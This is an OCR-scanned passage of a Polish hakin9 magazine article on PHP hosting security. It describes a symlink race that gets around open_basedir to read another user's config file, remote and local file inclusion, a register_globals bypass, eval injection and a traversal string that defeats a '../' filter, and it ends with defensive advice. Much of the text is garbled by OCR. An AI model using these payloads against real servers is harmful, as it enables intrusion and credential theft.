Linia mkdir(,1/2/3/4/5”, 0777,
true) tworzy zagtebiong strukture
katalogow — 5 pozioméw. Nastep-
nie tworzony jest link symboliczny
0 nazwie tango do ostatniego ka-
talogu w tej strukturze. Drugi sym-
link tworzy dowigzanie cash wska-
zujace na pie¢ katalogéw wstecz od
katalogu wskazywanego przez tan-
go, czyli do katalogu, w ktérym znaj-
dujg sie de facto oba linki, do kto6-
rego oczywiscie mamy dostep, za-
tem proba dostepu do cash zakon-
czy sie powodzeniem.

W nastepnym kroku usuwany
jest i tworzony na nowo link sym-
boliczny tango, tym razem wska-
zujac jednak na katalog biezg-
cy. Po tym zabiegu cash wskazu-
je na pie¢ katalogoéw wstecz od ka-
talogu biezacego, a wiec na gtéwny
katalog /. Nie nalezy on do nas ani
nie jest w Sciezce okreslonej przez
open _basedir, Wiec PHP nie pozwoli
nam go odczytac, co widac¢ powyzej.
Jezeli przypomnimy sobie teraz ar-
tykut Michata Wojciechowskiego z
trzeciego numeru hakin9 na temat
sytuacji wyscigu, zauwazy¢ mozna
tutaj analogiczng sytuacje. By z niej
skorzystaé, stworzymy dwa skryp-
ty, pierwszy (Listing 12) bedzie nie-
ustannie podmieniat link symbolicz-
ny tango — raz na katalog 1/2/3/4/5,
raz na katalog biezacy, drugi (Listing
13) bedzie do skutku prébowat od-
czytac plik cash/home/users/mieciu/
public_html/forum/cfg.php.

W koncu wystapi sytuacja, kie-
dy PHP sprawdzi dostep do pliku w
momencie, gdy tango bedzie wska-
zywat na katalog 1/2/3/4/5, a wiec
nie bedzie nam sie sprzeciwiat, bo
otwierany cash bedzie wskazywat
na katalog biezacy, a chwile pozniej,
kiedy bedzie otwierany z drugiego
skryptu plik doktora Mieczystawa,

hakin9 Nr 3/2007

Listing 20. dyrektywa open_basedir

Warning: include ( function.include]:
open_basedir restriction in effect.
File(/etc/passwd) is not within the
allowed path(s):

(/tmp: /home/users/haker) in
/home/users/haker/public
html/includepasswd.php on line 3

Warning: include (/etc/passwd)
function.include]:

failed to open stream: Operation not

permitted in /home/users/haker/public

html/pl.php on line 3

Warning: include() [function.include]:

Failed opening '/etc/passwd'

for inclusion

(include path='.:/usr/share/php:

/usr/share/pear') in

/home/users/haker/public_

html/includepasswd.php on line 3

Listing 21.

Warning: glob() [function.glob]:

open basedir restriction in effect. File(/

home/users/mieciu/Mail) is not within the allowed

path(s):

haker/public html/globtest.php on line 9
Warning: glob() [function.glob]: open basedir restriction in effect. File(/

(/tmp:/home/users/haker) in /home/users/

home/users/mieciu/public_html) is not within the

allowed path(s):

users/haker/public_html/globtest.php on line

Listing 22.

11905 >>> /home/users/mieciu/public_html/forum/cfg.php:

line 1: unknown configuration line

"

<?php"

11905 >>> /home/users/mieciu/public_html/forum/cfg.php:

line 2: unknown configuration line

".user = "mieciu";"

11905 >>> /home/users/mieciu/public_html/forum/cfg.php:

unknown configuration line ".pass =

"niktniezaliczy!";"

11905 >>> /home/users/mieciu/public_html/forum/cfg.php:

unknown configuration line ".host =
"localhost";"

11905 >>> /home/users/mieciu/public_html/forum/cfg.php:

unknown configuration line ".base = "mieciu-forum";"

11905 >>> /home/users/mieciu/public_html/forum/cfg.php:

unknown configuration line "?>"

11905 >>> No local mailer defined

11905 >>> QueueDirectory (Q) option must be set

line

line

line

line

(/tmp: /home/users/haker) in /home/

8

www.hakin9.org




Bezpieczienczstwo kont PHP

tango wskazywac juz bedzie na ka-
talog biezacy, a wiec cash na / - wy-
$cig wygrany — hasta miecia w prze-
gladarce! Skrypt alternatelinks.php
mozna jeszcze uprosci¢ usuwajac
dwie ostatnie linijki z petli while usu-
wajgce i tworzace link symbolicz-
ny tango na katalog 1/2/3/4/5, po-
niewaz katalog wskazywany przez
cash nie bedzie istniat, a wiec nie
wyprowadzi do katalogu gtéwnego
/. Jedynym sposobem zabezpiecze-
nia przez administratora takiej sytu-
acji wyscigu jest wylaczenie z uzy-
cia funkcji symlink poprzez doda-
nie jej do dyrektywy disable_func-
tions w pliku php.ini. Tym oto sposo-
bem haker pozyskat dostep do bazy
danych i konta swojego wyktadow-
cy, CO ha pewno zaowocuje zalicze-
niem kursu.

Nalezy jeszcze zwréci¢ uwage,
ze haker majac mozliwos¢ urucha-
miania swoich wiasnych skryptow
CGl w perlu, bashu, c, pythonie, czy
W jeszcze innym jezyku rowniez omi-
ja zabezpieczenia zwigzane z open _
basedir OfAzZ safe mode, DO 83 to W
koncu zabezpieczenia PHP.

Sytuacja w skryptach uzytkow-
nika

Zatézmy teraz, ze administra-
tor zabezpieczyt serwer jak nale-
zy, uzytkownicy nie maja wzajem-
nie dostepu do swoich zasobdw.
Hakerowi zostat wiec teraz plan B
czyli szukanie niedociggnie¢ i za-
niedban w skryptach PHP znajdu-
jacych sie na koncie doktora Mie-
czystawa. Przeanalizujemy teraz
kilka hipotetycznych sytuacji, ktére
teoretycznie moga wystgpi¢, a za-
uwazymy, ze faktycznie czesto sie
one zdarzaja.

Jako pierwsze oméwimy funkcje
wstawiajace w miejsce, w ktérym sa
wywotywane zawarto$¢ innego pliku
(ktéry moze byé¢, ale nie musi, skryp-
tem PHP) CZyli include, require, in-
clude _once, require _once. Réznica
miedzy include, a require polega na
tym, ze w przypadku btedu require
zakohczy wykonanie skryptu, pod-
czas gdy include wypisze ostrzeze-
nie i wykonanie skryptu bedzie kon-
tynuowane. suffix _ once gwarantu-
je, ze pliki zatgczone beda tylko raz.

Spojrzmy w takim razie na Listing 14,
na ktérym przedstawiona jest pierw-
sza niebezpieczna sytuacja.

Skrypt badninclude.php nie ro-
bi nic wielkiego, pobiera nazwe
skorki ze zmiennej s GET['skin']
i zatgcza odpowiedni plik, z kata-
logu danej skorki. Jezeli podamy
nazwe nieistniejgcej skorki (http:
//serwer/badinclude.php?skin=niei
stniejacaskorka), zostanie wyswie-
tlone mniej wiecej takie ostrzeze-
nie, jak w Listingu 24.

Haker moze bardzo szybko wy-
korzysta¢ taki btad nawet, jesli nie
posiada konta na serwerze ofiary.
Na innym serwerze tworzy on plik
tekstowy o nazwie blah.txt i zawarto-
Sci jak na listingu 15.

Jak widzimy, jest to skrypt PHP
kolorujacy swoje zrédio, a nastep-
nie wyswietlajgcy informacje o PHP
funkcjg phpinfo. Teraz podajac ja-
ko skérke adres www do tego pli-
ku zakonczony znakiem zapytania
- co spowoduje, ze reszta linijki be-
dzie traktowana jako zmienne me-
tody GET dla rzekomego skryptu
- haker uruchomi kod PHP zawarty
w podanym pliku. Wida¢ to na zrzu-
cie ekranu przedstawionym na ry-
sunku 1.

Istniejg trzy okolicznosci wyklu-
czajace zatgczanie plikéw znajdu-
jacych sie na zdalnym serwerze.
Pierwszg z nich jest ustawiona opcja
allow_url_fopen na off w php.ini, kto-
ra pozwala zatacza¢ jedynie pliki

Listing 23.

pierwszy dostep do katalogu cash...
cash/1 [1] =

tango
drugi dostep do katalogu cash...

Array 0l = cash/cash

Warning: glob function.glob]:

File (cash/bin

Listing 24.

open_basedir restriction in effect.

is not within the allowed path(s):
/tmp: /home/users/haker

html/tmp/symlinks.php on line 17

~

2] => cash/symlinks.php [3] => cash/

in /home/users/haker/public_

Warning: include (nieistrniejacaskorka skin/main.inc function.include]:
failed to open stream: No such file or directory in /
home/users/mieciu/public_html/badinclude.php on line 3

function.include]:

Warning: include Failed opening 'nieistrniejacaskorka

skin/main.inc' for inclusion (include path='.:/usr/

share/php:/usr/share/pear') in /home/users/mieciu/

public html/badinclude.php on line 3

Listing 25.

Notice: Undefined variable: modules_dir in
/home/users/mieciu/public_
html/news/modules/main/main.php on line 11
Notice: Undefined variable:

lang in /home/users/mieciu/public
html/news/modules/main/main.php on line 11

Warning: include (/main/-welcome.txt
function.include|: failed to open stream:
No such file or directory in
/home/users/mieciu/public_
html/news/modules/main/main.php on line 11
Warning: include function.include]:
Failed opening '/main/-welcome.txt'
for inclusion (include_path='.:/usr/share/php
:/usr/share/pear') in /home/users/mieciu/public_

html/news/modules/main/main.php on line 11
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lokalne, druga, to sytuacja, kiedy
nie mozemy zmieni¢ poczatku zata-
czanego pliku, trzecia za$ to spraw-
dzanie czy plik do wstawienia istnie-
je. Dwa ostatnie przypadki przedsta-
wia Listing 16.

W przedstawionym przypadku
nie zostanie wyswietlony btad o
nieistniejgcym pliku, cho¢ w wie-
lu skryptach taka informacja jest
podawana. Istnieje jednak du-
ze prawdopodobienstwo, ze jest
to ogodlnodostepny skrypt i jeze-
li nie ma jego nazwy w stopce
lub zrédle, jest wielce prawdopo-
dobne, ze wpisujagc w wyszuki-
warkach stron www kilka powta-
rzajgcych sie fraz na stronie, je-
stesSmy w stanie okresli¢ jaki to
skrypt i gdzie znalez¢ jego zrodta,
ktéorym mozemy sie przyjrzeé. Je-
zeli nie, mozemy poprosi¢ wprost
naszego doktora Mieczystawa o
informacje jakiego to sSwietnego
skryptu uzywa, czy sam go napi-
sat i czy mozna pozyskac¢ jego ko-
pie. A majac jego kopie, doktad-
nie widaé, w czym problem. Haker
natychmiastowo tworzy wiec plik
/tmp/main.inc na tym samym ser-
werze, na ktérym konto ma dok-
tor Mieczystaw, o identycznej za-
wartosci jak blah.txt z Listingu 14,
po czym wchodzi na adres http:
//serwer/badinclude1.php?skin=../
.S/ /. /tmp. Zmienna $skin w dru-
giej linijce skryptu ma wtedy war-
tos¢ skins/../../../../../tmp/main.inc,
a wiec prowadzi prosto do stwo-
rzonego wczesniej pliku /tmp/
main.inc, co skutkuje podobnym
efektem, jaki obserwowali$my na
poprzednim rysunku.

A co z register_globals?
Jezeli dyrektywa z php.ini 0 nazwie
register_globals zostanie ustawio-
na na on oznacza to, ze wszystkie
zmienne przekazywane do skryp-
tu sga dostepne w postaci $na-
zwa_zmiennej i nie trzeba do ich
dostepu uzywac tablic globalnych
typu

$ _POST['nazwa _zmiennej'], S

$ _GET['nazwa _zmiennej'],
SESSION['nazwa _zmiennej'] i tak da-
lej. Z jednej strony moze sie wyda-
waé to wygodne, z drugiej jednak

hakin9 Nr 3/2007

nie bez powodu developerzy PHP
w wersji 4.2.0 ustawili domysinie te
dyrektywe wytaczong. Jej deakty-
wacja powoduje jednak mase pro-
bleméw ze starszymi skryptami,
wiec najczesciej administratorzy
pozostawiajg jg wigczong. Rozpa-
trzmy dos$¢ czesto stosowany sza-
blon aplikacji PHP. W katalogu
gtéwnym, nazwijmy go news, znaj-
duje sie plik index.php (Listing 16).
Na wstepie zatacza plik z tego sa-
mego katalogu ze zmiennymi konfi-
guracyjnymi o nazwie conf.php (Li-
sting 17). Potem sprawdza czy ist-
niejg odpowiednie katalogi ze skor-
kami i z modutami, jezeli nie, prze-
rywa swoje dziatanie. W kolejnym
kroku sprawdza nazwe modutu, do
ktérego chce wejs¢ uzytkownik w
odpowiednim bloku switch, a wiec
uzytkownik nie ma szans przemy-
ci¢ tutaj Sciezki do swojego pli-
ku. Jezeli modut zaproponowany
przez uzytkownika istnieje, zata-
czany jest on z katalogu modules/
nazwa_modutu/main.php,  jezeli
nie, nazwg modutu jest modut do-
mysiny main. Wszystko zrobione
jak nalezy. Przyktadowy plik do za-
taczenia modules/main/main.php
przedstawiony jest na Listingu 18.
W pierwszych linijkach tego pli-
ku sprawdzane jest czy zmienna
sconfigured jest ustawiona na 1, co
oznacza, ze zostat zatgczony plik
konfiguracyjny z Listingu 17. Jezeli
zatem haker poda w przegladarce
adres http://serwer/news/modules/
main/main.php, skrypt wys$wietli
mu ponizszy komunikat i zakohczy
dziatanie:

Nie mozesz wchodzi¢ do tego pli-
ku bezposrednio!

W sytuaciji, kiedy dyrektywa regi-
ster_globals jest wigczona, wystar-
czy natomiast, ze haker jako adres
wpisze http://serwer/news/modules/
main/main.php?configured=1, a w
przegladarce ujrzy mniej wiecej to,
co mozemy zobaczyé na Listin-
gu 25.

zFunkcja eval

Eval to ,magiczna” funkcja, kto-
ra tekst zawarty jako jej argument
traktuje jako kod PHP. | tak na
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przyktad mozna napisa¢ bardzo
szybko efektowny kalkulator, kté-
ry bedzie umiat wyliczy¢ wszyst-
ko to, co potrafi wyliczy¢é sam je-
zyk PHP, kalkulator taki przedsta-

wia Listing 17.
Pierwsze linijki skryptu eval-
calc.php usuwajg potencjalne

znaki \ przekazane przez formu-
larz, ostatnie tworzg sam formu-
larz. Sercem kalkulatora jest linij-
ka eval("\$result = $expr;");, kto-
ra dzieki funkcji eval, przypisu-
je zmiennej $result wynik wyra-
zenia podanego przez uzytkowni-
ka. | tak podajac mato ciekawe wy-
razenie w stylu 2+2*2<<2 skrypt
odpowie nam: Wynik wyrazenia
2+2*2<<2 to 24. Niby nic wielkiego,
mozna sie jednak pokusi¢ o zde-
cydowanie ciekawsze wyrazenie,
na przyktad
file($ SERVER["SCRIPT _
rrLeNaME"]) . Jakkolwiek wynik wy-
razenia otrzymany w zmiennej $re-
sult bedzie identyczny z tym po-
przednim, dostaniemy jeszcze ma-
ty bonus w postaci pokolorowane-
go zrodta kalkulatora (co widaé na
rysunku 2) — czyli to, o co de facto
poprosilismy piszac po $redniku za
pierwotnym wyrazeniem. Tak wta-
$nie dziata eval.

Backdoor PHP czy
kiepski programista?

Jak wida¢ istnieje wiele niebez-
piecznych sytuacji, pozwalajg-
cych hakerom na dziatania, ktoé-
rych nie powinni by¢ w stanie do-
kona¢. Zdecydowana wiekszos¢
0sOb posiadajacych swoje witryny
uzywa gotowych skryptow, pisa-
nych przez nieznane osoby. Skad
pewnos¢, ze to bezpieczne apli-
kacje webowe, a nie tylne drzwi
do kont uzytkownikow, ktérzy ich
uzywajg? Co jaki$ czas odkrywa-
ne sg nowe luki i niedociggniecia

2+2*2<<2;highlight _

p
W Sieci

*  http://www.php.net/ — strona domo-
wa skryptowego jezyka PHP
http://www.apache.org/ — strona
domowa serwera www Apache




Bezpieczienczstwo kont PHP

w popularnych skryptach PHP. Ale
czy to na pewno niedociggniecia,
a nie celowe dziatania ich twor-
cow? Zauwazmy, ze w przypad-
ku, gdy wszystkie oméwione wyzej
metody zawiodg hakera w dostepie
do bazy danych doktora Mieczy-
stawa, moze on przygotowac ja-
ki§ bardzo tadny skrypt odpowia-
dajacy idealnie profilowi doktora, z
tadng grafika, z tadnie prezentuja-
cq go strong gtéwna, z tadnie przy-
gotowanymi rzekomymi komenta-
rzami zadowolonych uzytkownikéw
i zupetnie przypadkowo podrzuci¢
go wyktadowcy — czy to wysyta-
jac maila, czy to poruszajac temat
wspaniatej strony doktora na jed-
nym z jego wyktadéw, czy to wyko-
rzystujgc do tego celu jeszcze in-
ne sztuczki lub osoby bedace bli-
zej potencjalnej ofiary. Oczywiscie
pan Mieczystaw nie bez powodu
ma tytut doktora, wiec 6w skrypt
bedzie co najmniej musiat zawie-
rac¢ iluzje zabezpieczen. Kilka ta-
kich iluzji zabezpieczen mozna za-
uwazy¢ analizujgc przedstawio-
ne wczeéniej listingi, kolejng mo-
ze by¢ sytuacja przedstawiona w
skrypcie na Listingu 18, ktory jest
lekka modyfikacjg wczesniej poka-
zanego skryptu badinclude1.php.

Faktycznie, linijjka s$skin =
str replace("../", $skin);
powoduje, ze wszystkie wysta-

pienia ciggu znakéw ../ zostang
usuniete i tak podajgc w adresie
illusion.php?skin=../../../../../tmp
zmienna $skin bedzie zawierac
Sciezke skins/tmp/main.inc — haker
nie wyjdzie wiec poza dany kata-
log. W ten sposéb celu nie uda sie
osiggnaé. Zwréémy jednak uwage,
ze usuwane sg znaki w konfigura-
cji ../, a .. lub samo / juz nie. Dla-
tego wystarczy, ze haker rozdzie-
li ../ czym$, co zostanie usuniete
(czyli tez ../), a uzyska to, co so-
bie zamierzyt. Podajgc wiec do
adresu nastepujacy cigg znakow:
illusion.php?skin=..../ .../ ...//..../
/....//tmp, zostang usuniete znaki
przedstawione na czerwono, po-
zostawiajac w zmiennej $skin war-
tos¢ skins/../../../../../tmp/main.inc,
a wiec faktycznie to byta iluzja za-
bezpieczenia, a nie realne zabez-
pieczenie.

Podsumowanie

Jak wida¢ z powyzszych rozwa-
zan, umieszczanie swojej witry-
ny WWW w Internecie nie mo-
ze sie sprowadzac tylko do $cig-
gniecia najnowszej wersji uzywa-

nego skryptu, umieszczenia go
na serwerze i szybkiej konfigura-
cji. Nalezy sprawdzi¢ zabezpie-
czenia serwera, i w razie, gdy ma-
my dostep do plikdw innych uzyt-
kownikéw, nalezy to natychmiast
zgtosi¢ administratorowi, ponie-
waz tym samym kazdy inny uzyt-
kownik tego serwera moze czytac
nasze pliki z hastami, czy prywat-
nymi informacjami. Nalezy tez sie
dobrze przyjrze¢ wykorzystywa-
nym w serwisie skryptom PHP, za-
réwno wtasnym, jak i innym, nawet
tym ze sprawdzonych Zrédet. Je-
zeli nie mamy czasu na czytanie
linijka po linijce setek linii catego
kodu, nalezy przynajmniej odna-
lez¢ te, ktére sg kluczowe dla bez-
pieczehnstwa catego konta, poten-
cjalnie niebezpieczne funkcje, kto-
re zostaty przedstawione w tym
artykule oraz generalnie wszyst-
kie inne operujgce na plikach,
czyli include/require, eval, sys-
tem, exec, passthru, proc open,
higlight _file, readfile, file, fi-
le_get_contents, fopen i tak da-
lej. Kto$ przeciez moze mie¢ wo-
bec Ciebie takie zamiary jak nasz
haker wobec szanownego doktora
Mieczystawa, wyprzedz go wiec o
krok i badZ przygotowany. ®
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